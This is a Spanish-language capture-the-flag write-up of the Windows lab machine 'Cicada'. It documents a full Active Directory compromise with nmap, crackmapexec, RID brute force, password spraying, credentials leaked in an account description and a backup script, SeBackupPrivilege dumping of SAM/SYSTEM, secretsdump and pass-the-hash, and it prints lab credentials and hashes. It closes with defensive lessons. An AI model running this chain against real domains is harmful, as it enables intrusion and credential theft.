Cicada
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. Cicada es una máquina Windows fácil que recorre, de principio a fin, una cadena clásica de Active Directory sin un solo exploit. Con una sesión guest de SMB leemos un share de RR.HH. con una contraseña por defecto; reconstruimos la lista de usuarios por fuerza bruta de RID y, con un password spray, damos conmichael.wrightson. En la descripción de su cuenta aparece la contraseña dedavid.orelious, que abre el shareDEVcon unBackup_script.ps1que filtra las credenciales deemily.oscars. Esta tiene SeBackupPrivilege: volcamosSAMySYSTEM, sacamos el hash del Administrador consecretsdumpy entramos por Pass-the-Hash.
Reconocimiento
Escaneo inicial
El escaneo de servicios devuelve el retrato inconfundible de un controlador de dominio: DNS (53), Kerberos (88 implícito por kpasswd5 en 464), RPC (135), NetBIOS (139), SMB (445), LDAP (389/636) y el catálogo global (3268/3269).
sudo nmap -sS -n -Pn -p- --min-rate 5000 -vvv --open 10.10.11.35 -oG scan
Not shown: 65524 filtered tcp ports (no-response)
PORT STATE SERVICE REASON
53/tcp open domain syn-ack ttl 127
135/tcp open msrpc syn-ack ttl 127
139/tcp open netbios-ssn syn-ack ttl 127
389/tcp open ldap syn-ack ttl 127
445/tcp open microsoft-ds syn-ack ttl 127
464/tcp open kpasswd5 syn-ack ttl 127
593/tcp open http-rpc-epmap syn-ack ttl 127
636/tcp open ldapssl syn-ack ttl 127
3268/tcp open globalcatLDAP syn-ack ttl 127
3269/tcp open globalcatLDAPssl syn-ack ttl 127
55063/tcp open unknown syn-ack ttl 127
Raw packets sent: 131075 (5.767MB) | Rcvd: 25 (1.100KB)Tres lecturas de esa salida. El syn-ack ttl 127 de la columna REASON confirma Windows a un salto de distancia. El 55063/tcp suelto, muy por encima de 49152, es un puerto RPC dinámico: Windows asigna ahí los endpoints que el mapeador del 135 reparte, y por eso aparece sin nombre. Y Not shown: 65524 filtered (no-response), sin ningún closed, dice que hay un cortafuegos descartando en silencio todo lo que no sea servicio publicado, no una máquina desnuda.
Los once puertos juntos son la huella dactilar de un controlador de dominio: Kerberos (el 464 de kpasswd5 implica el 88), LDAP en claro y sobre TLS (389/636), el catálogo global (3268/3269), DNS (53), RPC (135/593) y SMB (139/445).
La lista de puertos no se copia a mano del -oG: extractPorts, una función del .zshrc, la extrae y la deja en el portapapeles para pegarla en el siguiente escaneo.
extractPorts scan
Extracting information ...
IP Address: 10.10.11.35
Open ports: 53,135,139,389,445,464,593,636,3268,3269,55063
Ports copied to clipboardnmap -p53,135,139,389,445,464,593,3268,3269,55063 -sCV 10.10.11.35
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: cicada.htb, Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP
3269/tcp open ssl/ldap
Service Info: Host: CICADA-DC; OS: Windows; CPE: cpe:/o:microsoft:windows
| smb2-security-mode:
|_ Message signing enabled and requiredEl LDAP nos regala ya el dominio (cicada.htb) y el nombre del DC (CICADA-DC); los añadimos al /etc/hosts. El Message signing enabled and required descarta de salida un relay de SMB.
LDAP anónimo: cerrado
Con el dominio en la mano, la primera prueba barata es si el LDAP contesta sin autenticar. En muchos AD mal configurados una consulta anónima entrega usuarios, grupos y la estructura de OU de una tacada, que es media caja resuelta. Aquí no:
ldapsearch -x -H ldap://10.10.11.35 -D '' -w '' -b "DC=cicada,DC=htb"
# search result
search: 2
result: 1 Operations error
text: 000004DC: LdapErr: DSID-0C090C78, comment: In order to perform this operation
a successful bind must be completed on the connection., data 0, v4f7cEl 000004DC con "a successful bind must be completed" es la forma que tiene Active Directory de decir que las consultas anónimas están deshabilitadas. Callejón sin salida, pero informativo: si el LDAP está cerrado, la vía tiene que ser SMB.
SMB: de la sesión nula a la sesión guest
Sin credenciales, lo primero es ver qué deja ver SMB. La sesión nula se acepta pero no autoriza nada:
crackmapexec smb 10.10.11.35 -d cicada.htb -u '' -p '' --shares
SMB 10.10.11.35 445 CICADA-DC [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC)
(domain:cicada.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\:
SMB 10.10.11.35 445 CICADA-DC [-] Error enumerating shares: STATUS_ACCESS_DENIEDConviene no confundir esas dos líneas. El [+] cicada.htb\: significa que el servidor aceptó la sesión (autenticación), y el STATUS_ACCESS_DENIED que esa sesión no tiene permisos para listar recursos (autorización). Son dos capas distintas, y quedarse en el [+] lleva a creer que hay más acceso del que hay. La cabecera regala de paso el inventario: Windows Server 2022 Build 20348, signing:True (nada de relay) y SMBv1:False.
Enumerar usuarios por la sesión nula tampoco funciona:
crackmapexec smb 10.10.11.35 -d cicada.htb -u '' -p '' --users
SMB 10.10.11.35 445 CICADA-DC [-] Error enumerating domain users using dc ip 10.10.11.35:
NTLM needs domain\username and a password
SMB 10.10.11.35 445 CICADA-DC [*] Trying with SAMRPC protocolEl mensaje es literal: la ruta LDAP de --users exige credenciales de verdad, y el Trying with SAMRPC protocol es el plan B de la herramienta, que tampoco devuelve nada. Con la sesión nula agotada, queda probar la otra cuenta que existe por defecto en cualquier Windows, guest, que a diferencia de la sesión nula sí es un principal con SID:
crackmapexec smb 10.10.11.35 -d cicada.htb -u 'guest' -p '' --shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
DEV
HR READ
IPC$ READ Remote IPC
NETLOGON Logon server share
SYSVOL Logon server shareHR se puede leer con la cuenta invitada. DEV aparece pero, de momento, sin acceso.
El salto de la sesión nula a guest merece un momento. Para Windows no son lo mismo: la sesión nula es una conexión sin principal, mientras que guest es una cuenta real con SID que pertenece al grupo Everyone. Cualquier ACL que conceda permisos a Everyone (que es exactamente lo que tiene el share HR) se los concede a guest y no a la sesión nula. Por eso una devuelve ACCESS_DENIED y la otra lista todo.
Acceso como michael.wrightson
La nota de RR.HH. y la contraseña por defecto
Montamos HR con smbclient usando guest y dentro hay un único fichero:
smbclient -U guest \\\\10.10.11.35\\HR
smb: \> ls
. D 0 Thu Mar 14 13:29:09 2024
.. D 0 Thu Mar 14 13:21:29 2024
Notice from HR.txt A 1266 Wed Aug 28 19:31:48 2024Un solo fichero, de 1266 bytes, y con espacios en el nombre, así que hay que entrecomillarlo al descargarlo:

smb: \> get "Notice from HR.txt"
getting file \Notice from HR.txt of size 1266 as Notice from HR.txt (3.4 KiloBytes/sec)
Es una nota de bienvenida que pide al nuevo empleado cambiar su contraseña, y de paso la revela:
Your default password is: Cicada$M6Corpb*@Lp#nZp!8Esa contraseña va a hacer falta varias veces (el spray, y luego cada validación), así que en vez de teclearla se recorta del propio fichero y se guarda en uno aparte. El awk '{print $5}' toma la quinta palabra de la línea, que es exactamente la contraseña:
cat "Notice from HR.txt" | grep 'password is:' | awk '{print $5}' > ../content/default_password
cat ../content/default_password
Cicada$M6Corpb*@Lp#nZp!8Guardarla en un fichero no es cosmética: evita que un $ o un ! se los coma la shell al escribirlos entre comillas equivocadas, y permite pasarla luego con -p $(cat default_password).
Tenemos una contraseña, pero no a quién pertenece. La táctica es evidente: conseguir la lista de usuarios del dominio y rociar esta contraseña contra todos, a ver quién no la ha cambiado todavía.
RID cycling: reconstruir la lista de usuarios
La enumeración directa de usuarios sigue capada incluso con guest, así que el --users vuelve a fallar igual que con la sesión nula:
crackmapexec smb 10.10.11.35 -d cicada.htb -u 'guest' -p '' --users
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\guest:
SMB 10.10.11.35 445 CICADA-DC [-] Error enumerating domain users using dc ip 10.10.11.35:
NTLM needs domain\username and a passwordAquí es donde la enumeración se decide por otra puerta. --users consulta el directorio por LDAP y necesita una autenticación completa; el RID cycling no pregunta por la lista de usuarios, sino que va traduciendo SID a nombre uno por uno a través de la interfaz LSARPC de SMB, y esa traducción sí está disponible para guest. Es la misma información obtenida por un camino que nadie se acordó de cerrar.
crackmapexec smb 10.10.11.35 -d cicada.htb -u 'guest' -p '' --rid-brute 2>/dev/null | grep SidTypeUser
500: CICADA\Administrator (SidTypeUser)
501: CICADA\Guest (SidTypeUser)
502: CICADA\krbtgt (SidTypeUser)
1000: CICADA\CICADA-DC$ (SidTypeUser)
1104: CICADA\john.smoulder (SidTypeUser)
1105: CICADA\sarah.dantelia (SidTypeUser)
1106: CICADA\michael.wrightson (SidTypeUser)
1108: CICADA\david.orelious (SidTypeUser)
1601: CICADA\emily.oscars (SidTypeUser)La misma línea, encadenada con un par de awk, deja el users.txt listo sin pasar por el editor:
crackmapexec smb 10.10.11.35 -d cicada.htb -u 'guest' -p '' --rid-brute 2>/dev/null \
| grep SidTypeUser | awk -F'\\' '{print $2}' | awk '{print $1}' > users.txt
cat users.txt
Administrator
Guest
krbtgt
CICADA-DC$
john.smoulder
sarah.dantelia
michael.wrightson
david.orelious
emily.oscarsLa lista se deja entera a propósito, con las cuentas integradas y hasta el CICADA-DC$ de la máquina. Filtrar a mano solo los nombres de persona parece más limpio, pero descarta información: Administrator es un objetivo legítimo para el spray y una cuenta de equipo puede tener su propia historia. El coste de dejarlas es cuatro intentos más; el de quitarlas, perder un acierto.
Password spraying
Cruzamos la lista de usuarios con la contraseña por defecto. Conviene recordar la salvedad del spray: una sola contraseña contra muchos usuarios evita los bloqueos de cuenta, siempre que la política no cuente también los fallos repartidos.
crackmapexec smb 10.10.11.35 -u users.txt -p default_password 2>/dev/null
[-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
[-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
[+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8michael.wrightson todavía usa la contraseña por defecto.
Acceso como david.orelious
Credenciales en el campo descripción
Con unas credenciales válidas, toca volver a enumerar: lo que antes estaba cerrado ahora puede abrirse. Lanzamos enum4linux autenticado como michael y, entre los atributos de las cuentas, aparece algo que no debería estar ahí: la contraseña de david.orelious escrita en su campo descripción.
enum4linux -a -u 'michael.wrightson' -p 'Cicada$M6Corpb*@Lp#nZp!8' 10.10.11.35
Target ......... 10.10.11.35
RID Range ...... 500-550,1000-1050
Username ....... 'michael.wrightson'
[E] Can't find workgroup/domain
Looking up status of 10.10.11.35
No reply from 10.10.11.35
[+] Server 10.10.11.35 allows sessions using username 'michael.wrightson', password '...'Vale la pena no asustarse con las dos primeras líneas rojas. El Can't find workgroup/domain y el No reply del nbtstat son consultas NetBIOS por UDP 137, un protocolo antiguo que este Windows Server 2022 ya no atiende; enum4linux es una herramienta de 2011 y sigue intentándolo primero. Lo que importa es el [+] Server allows sessions, que confirma que la credencial es buena y que el resto de módulos van a correr. Un error de una herramienta vieja no es un fallo del ataque.

user:[david.orelious] desc:[Just in case I forget my password is aRt$Lp#7t*VQ!3]El campo descripción es legible por cualquier usuario del dominio: una mala costumbre que aquí nos entrega david.orelious / aRt$Lp#7t*VQ!3.
Shell como emily.oscars
El share DEV y Backup_script.ps1
Las credenciales de david sí abren el share DEV que antes se nos resistía. Dentro hay un script de PowerShell, Backup_script.ps1:
crackmapexec smb 10.10.11.35 -d cicada.htb -u 'david.orelious' -p 'aRt$Lp#7t*VQ!3' --shares
smbclient -U david.orelious \\\\10.10.11.35\\DEV -c 'get Backup_script.ps1'
SMB 10.10.11.35 445 CICADA-DC [+] cicada.htb\david.orelious:aRt$Lp#7t*VQ!3
SMB 10.10.11.35 445 CICADA-DC [+] Enumerated shares
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
DEV READ
HR READ
IPC$ READ Remote IPC
NETLOGON READ Logon server share
SYSVOL READ Logon server shareCon david, el share DEV pasa a READ. Y no solo DEV: NETLOGON y SYSVOL también pasan de nada a READ, porque ahora somos un usuario del dominio y no un invitado. Merece la pena anotarlo aunque aquí no se use: SYSVOL es el sitio donde históricamente aparecen los Groups.xml de las preferencias de directiva de grupo con contraseñas cifradas con la clave pública de Microsoft.
Dentro de DEV hay un único fichero:
smbclient -U david.orelious \\\\10.10.11.35\\DEV
smb: \> get Backup_script.ps1
Backup_script.ps1 A 601 Wed Aug 28 19:28:22 2024
smb: \> get Backup_script.ps1
getting file \Backup_script.ps1 of size 601 as Backup_script.ps1 (1.6 KiloBytes/sec)
El script construye una PSCredential con un usuario y una contraseña incrustados en el código:
$username = "emily.oscars"
$password = ConvertTo-SecureString "Q!3@Lp#M6b*7t*Vt" -AsPlainText -Force
$credential = New-Object System.Management.Automation.PSCredential ($username, $password)Otra credencial reutilizable: emily.oscars / Q!3@Lp#M6b*7t*Vt.
evil-winrm y la flag de usuario
A diferencia de las anteriores, emily sí pertenece al grupo de acceso remoto, así que entramos con evil-winrm:
evil-winrm -i 10.10.11.35 -u emily.oscars -p 'Q!3@Lp#M6b*7t*Vt'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> ls
11/10/2024 9:52 PM 953 Acl-FullControl.ps1
11/10/2024 10:00 PM 49152 sam.save
11/10/2024 10:01 PM 18518016 system.saveEl aviso de "Remote path completions is disabled" es una limitación conocida de Evil-WinRM, no un problema del objetivo: significa que el tabulador no autocompleta rutas remotas, nada más. Más interesante es el ls: el directorio ya contiene un Acl-FullControl.ps1 y unos sam.save / system.save de hace minutos. En un laboratorio compartido eso es normal y conviene tenerlo presente, porque no todo lo que se encuentra en la máquina lo ha puesto la máquina. Confundir el resto de otra sesión con parte del diseño del reto es una forma clásica de perder una hora, y en un entorno real sería exactamente la señal de que alguien pasó antes por ahí.

*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop> cat user.txt
fb3709cc21eb5dc95cd12d962f6218e9Shell como Administrator
SeBackupPrivilege: volcar SAM y SYSTEM
Antes de buscar otra credencial, miramos los privilegios de la sesión. Emily tiene SeBackupPrivilege, el privilegio de las copias de seguridad, que permite leer cualquier fichero saltándose las ACL.
whoami /priv
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set EnabledSeBackupPrivilege aparece Enabled. Eso es suficiente para exportar las colmenas del registro que guardan las credenciales locales. Creamos un directorio temporal y volcamos SAM y SYSTEM:
mkdir C:\Temp
reg save hklm\sam C:\Temp\sam
reg save hklm\system C:\Temp\systemEl mkdir responde con la ficha del directorio recién creado, que es la confirmación de que la ruta existe antes de escribir nada en ella:

*Evil-WinRM* PS C:\> mkdir Temp
Directory: C:\
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---- 11/10/2024 10:43 PM Temp
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\sam C:\Temp\sam
The operation completed successfully.
*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Documents> reg save hklm\system C:\Temp\system
The operation completed successfully.Ninguna de las dos colmenas se puede leer con un type normal aunque seas administrador: están abiertas en exclusiva por el kernel. reg save funciona porque no lee el fichero, le pide al servicio de registro que serialice la colmena, y ese servicio es el que consulta SeBackupPrivilege para decidir si tiene derecho a hacerlo.
Los dos ficheros se traen a la máquina atacante con el download que trae Evil-WinRM, sin necesidad de montar un servidor:
download C:\Temp\system /home/kali/cicada/system
download C:\Temp\sam /home/kali/cicada/sam
Info: Downloading C:\Temp\system to /home/kali/cicada/system
Info: Download successful!
Info: Downloading C:\Temp\sam to /home/kali/cicada/sam
Info: Download successful!Un ls en el directorio de trabajo confirma que las dos colmenas han aterrizado junto al resto del material de la máquina:
ls
Backup_script.ps1 default_password sam system users.txtsecretsdump y Pass-the-Hash
Con las dos colmenas en local, secretsdump usa la bootkey de SYSTEM para descifrar los hashes de SAM:
impacket-secretsdump -sam sam -system system LOCAL
[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::No hace falta crackear nada: con el hash NT del Administrador entramos por Pass-the-Hash, pasando el hash en lugar de la contraseña.
evil-winrm -i 10.10.11.35 -u Administrator -H 2b87e7c93a3e8a0ea4a581937016f341
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
a00fbe314d0c3a593fb7bd05f4e8f7d4
Cadena de ataque
SMB guest (--shares)
│ share HR → Notice from HR.txt → contraseña por defecto
│ --rid-brute → lista de usuarios del dominio
▼
password spray (1 contraseña × N usuarios)
│ → michael.wrightson : Cicada$M6Corpb*@Lp#nZp!8
▼
enum4linux autenticado → descripción de david.orelious con su contraseña
▼
david.orelious → share DEV → Backup_script.ps1 → creds de emily.oscars
▼
evil-winrm emily.oscars (user.txt)
│ whoami /priv → SeBackupPrivilege
│ reg save SAM + SYSTEM → secretsdump → hash NT del Administrador
▼
Pass-the-Hash → Administrator (root.txt)Lecciones aprendidas
- La cuenta
guestes una puerta abierta. Con una sesión invitada se listaron shares, se leyó la nota de RR.HH. y se hizo RID cycling para sacar todos los usuarios. Deshabilitarguesty el acceso anónimo habría cortado la cadena en el primer paso. - Las contraseñas por defecto se quedan. Bastó con que un empleado (michael) no cambiara la suya para que el spray entrara. Forzar el cambio en el primer inicio de sesión y exigir MFA lo evita.
- No escribas secretos donde se leen. La contraseña de david estaba en el campo descripción (legible por todo el dominio) y la de emily, incrustada en un script de un share. Las credenciales no van en atributos de LDAP ni en código.
SeBackupPrivilegees casi ser administrador. Permite leerSAM/SYSTEMy, con ese volcado, obtener el hash del Administrador para un Pass-the-Hash. Solo debería tenerlo el software de backup, nunca una cuenta de usuario normal.- Autenticar no es autorizar. La sesión nula devolvió
[+] cicada.htb\:y acto seguidoSTATUS_ACCESS_DENIEDal listar recursos. Quedarse en el[+]hace creer que hay más acceso del que hay: son dos capas distintas y conviene leerlas por separado. - Cuando una puerta se cierra, la información suele tener otra.
--usersfalló con sesión nula y conguestporque va por LDAP y exige autenticación completa, pero el RID cycling obtuvo la misma lista traduciendo SID a nombre por LSARPC. Endurecer un protocolo y dejar abierto el de al lado no cierra nada. - Un callejón sin salida también acota. El
ldapsearchanónimo devolvióIn order to perform this operation a successful bind must be completed, es decir, consultas anónimas deshabilitadas. Saberlo descartó toda la vía LDAP y dejó SMB como único camino, que es exactamente para lo que sirve documentar lo que no funciona. - Los errores de una herramienta vieja no son fallos del ataque.
enum4linuxempezó conCan't find workgroup/domainy unnbtstatsin respuesta, porque consulta NetBIOS por UDP 137 y un Windows Server 2022 ya no lo atiende. Lo que valía era el[+] Server allows sessionsde la línea siguiente.